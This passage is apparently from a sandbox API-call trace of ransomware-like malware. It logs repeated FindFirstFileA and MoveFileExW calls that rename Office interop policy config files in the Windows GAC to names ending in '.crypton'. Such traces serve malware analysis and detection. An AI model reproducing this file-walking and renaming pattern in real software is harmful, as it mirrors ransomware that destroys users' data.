"c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.infopath\\14.0.0.0__71e9bce111e9429c\\policy.11.0.microsoft.office.interop.infopath.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.InfoPath.config.crypton" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.infopath\\14.0.0.0__71e9bce111e9429c\\policy.11.0.microsoft.office.interop.infopath.config.crypton"), dwFlags=0x2) returned 1 [0232.813] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath.Xml\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa69def90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x820d400, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x820d400, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.818] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath.Xml\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x561f1030, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x820d400, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x820d400, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.823] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath.Xml\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.InfoPath.Xml.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.infopath.xml\\14.0.0.0__71e9bce111e9429c\\policy.11.0.microsoft.office.interop.infopath.xml.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath.Xml\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.InfoPath.Xml.config.crypton" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.infopath.xml\\14.0.0.0__71e9bce111e9429c\\policy.11.0.microsoft.office.interop.infopath.xml.config.crypton"), dwFlags=0x2) returned 1 [0232.830] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.MSProject\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd997e500, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0x8233560, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x8233560, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.836] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.MSProject\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbeb89f40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0x8233560, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x8233560, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.839] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.MSProject\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.MSProject.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.msproject\\14.0.0.0__71e9bce111e9429c\\policy.11.0.microsoft.office.interop.msproject.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.MSProject\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.MSProject.config.crypton" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.msproject\\14.0.0.0__71e9bce111e9429c\\policy.11.0.microsoft.office.interop.msproject.config.crypton"), dwFlags=0x2) returned 1 [0232.845] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Outlook\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6c40590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x82596c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x82596c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.850] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59b5e2f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x82596c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x82596c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.853] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Outlook.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.outlook\\14.0.0.0__71e9bce111e9429c\\policy.11.0.microsoft.office.interop.outlook.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Outlook.config.crypton" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.outlook\\14.0.0.0__71e9bce111e9429c\\policy.11.0.microsoft.office.interop.outlook.config.crypton"), dwFlags=0x2) returned 1 [0232.859] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.OutlookViewCtl\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6c40590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x827f820, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x827f820, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.865] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x597cc1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x827f820, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x827f820, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.868] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.OutlookViewCtl.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.outlookviewctl\\14.0.0.0__71e9bce111e9429c\\policy.11.0.microsoft.office.interop.outlookviewctl.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.OutlookViewCtl.config.crypton" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.outlookviewctl\\14.0.0.0__71e9bce111e9429c\\policy.11.0.microsoft.office.interop.outlookviewctl.config.crypton"), dwFlags=0x2) returned 1 [0232.874] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.PowerPoint\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6c666f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x82a5980, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x82a5980, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.880] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6145f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x82a5980, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x82a5980, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.882] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.PowerPoint.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.powerpoint\\14.0.0.0__71e9bce111e9429c\\policy.11.0.microsoft.office.interop.powerpoint.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.PowerPoint.config.crypton" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.powerpoint\\14.0.0.0__71e9bce111e9429c\\policy.11.0.microsoft.office.interop.powerpoint.config.crypton"), dwFlags=0x2) returned 1 [0232.889] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Publisher\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6c8c850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x82cbae0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x82cbae0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.894] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Publisher\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a76b250, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x82cbae0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x82cbae0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.897] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Publisher\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Publisher.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.publisher\\14.0.0.0__71e9bce111e9429c\\policy.11.0.microsoft.office.interop.publisher.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Publisher\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Publisher.config.crypton" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.publisher\\14.0.0.0__71e9bce111e9429c\\policy.11.0.microsoft.office.interop.publisher.config.crypton"), dwFlags=0x2) returned 1 [0232.905] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.SmartTag\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa651c390, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x82f1c40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x82f1c40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.910] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.SmartTag\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59460250, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x82f1c40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x82f1c40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.914] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.SmartTag\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.SmartTag.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.smarttag\\14.0.0.0__71e9bce111e9429c\\policy.11.0.microsoft.office.interop.smarttag.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.SmartTag\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.SmartTag.config.crypton" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.smarttag\\14.0.0.0__71e9bce111e9429c\\policy.11.0.microsoft.office.interop.smarttag.config.crypton"), dwFlags=0x2) returned 1 [0232.941] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9af0e3c0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x833df00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x833df00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.947] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8514a320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x833df00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x833df00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.950] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Visio.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.visio\\14.0.0.0__71e9bce111e9429c\\policy.11.0.microsoft.office.interop.visio.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Visio.config.crypton" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.visio\\14.0.0.0__71e9bce111e9429c\\policy.11.0.microsoft.office.interop.visio.config.crypton"), dwFlags=0x2) returned 1 [0232.958] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9af5a680, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8364060, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x8364060, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.965] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x84c3b460, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8364060, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x8364060, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.968] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.visio.saveasweb\\14.0.0.0__71e9bce111e9429c\\policy.11.0.microsoft.office.interop.visio.saveasweb.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb.config.crypton" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.visio.saveasweb\\14.0.0.0__71e9bce111e9429c\\policy.11.0.microsoft.office.interop.visio.saveasweb.config.crypton"), dwFlags=0x2) returned 1 [0232.975] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9af34520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x838a1c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x838a1c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.980] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x853133a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x838a1c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x838a1c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.983] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.visocx\\14.0.0.0__71e9bce111e9429c\\policy.11.0.microsoft.office.interop.visocx.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config.crypton" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.visocx\\14.0.0.0__71e9bce111e9429c\\policy.11.0.microsoft.office.interop.visocx.config.crypton"), dwFlags=0x2) returned 1 [0232.989] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Word\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6cd8b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x83b0320, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x83b0320, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.995] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e60d530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x83b0320, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x83b0320, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.998] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Word.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.word\\14.0.0.0__71e9bce111e9429c\\policy.11.0.microsoft.office.interop.word.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Word.config.crypton" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.word\\14.0.0.0__71e9bce111e9429c\\policy.11.0.microsoft.office.interop.word.config.crypton"), dwFlags=0x2) returned 1 [0233.005] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Vbe.Interop\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5f4edf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x83d6480, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x83d6480, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0233.012] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Vbe.Interop\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x83d6480, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x83d6480, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0233.015] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Vbe.Interop\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Vbe.Interop.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.vbe.interop\\14.0.0.0__71e9bce111e9429c\\policy.11.0.microsoft.vbe.interop.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Vbe.Interop\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Vbe.Interop.config.crypton" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.vbe.interop\\14.0.0.0__71e9bce111e9429c\\policy.11.0.microsoft.vbe.interop.config.crypton"), dwFlags=0x2) returned 1 [0233.021] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.office\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5eb6870, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x83fc5e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x83fc5e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 